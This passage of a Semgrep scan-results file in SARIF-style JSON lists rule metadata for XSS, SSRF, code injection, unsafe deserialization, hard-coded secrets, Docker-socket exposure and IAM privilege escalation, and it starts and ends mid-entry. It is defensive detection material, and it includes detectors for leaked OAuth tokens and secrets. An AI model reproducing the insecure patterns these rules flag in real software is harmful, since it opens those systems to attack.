java.lang.security.audit.permissive-cors.permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"help":{"markdown":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag)\n - [https://github.com/golang/go/issues/19669](https://github.com/golang/go/issues/19669)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","id":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","name":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"help":{"markdown":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","id":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","name":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"help":{"markdown":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval)\n - [https://www.php.net/manual/en/function.mb-ereg-replace.php](https://www.php.net/manual/en/function.mb-ereg-replace.php)\n - [https://www.php.net/manual/en/function.mb-regex-set-options.php](https://www.php.net/manual/en/function.mb-regex-set-options.php)\n","text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"helpUri":"https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","id":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","name":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"help":{"markdown":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)\n","text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","id":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","name":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Google OAuth Access Token detected"},"help":{"markdown":"Google OAuth Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Google OAuth Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","id":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","name":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint","id":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","name":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint.compile-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"help":{"markdown":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync","id":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","name":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-sync.keychain-device-sync"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"help":{"markdown":"Unsafe functions do not perform boundary checks or have other side effects, use with care.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe)\n - [https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get](https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get)\n - [https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string](https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string)\n","text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"helpUri":"https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe","id":"ocaml.lang.security.unsafe.ocamllint-unsafe","name":"ocaml.lang.security.unsafe.ocamllint-unsafe","properties":{"precision":"very-high","tags":["CWE-242: Use of Inherently Dangerous Function (4.12)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.security.unsafe.ocamllint-unsafe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel","id":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","name":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-ruamel.tainted-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath)\n - [https://kubernetes.io/docs/concepts/storage/volumes/#hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","id":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","name":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","id":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","name":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"help":{"markdown":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","id":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","name":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","id":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","name":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML 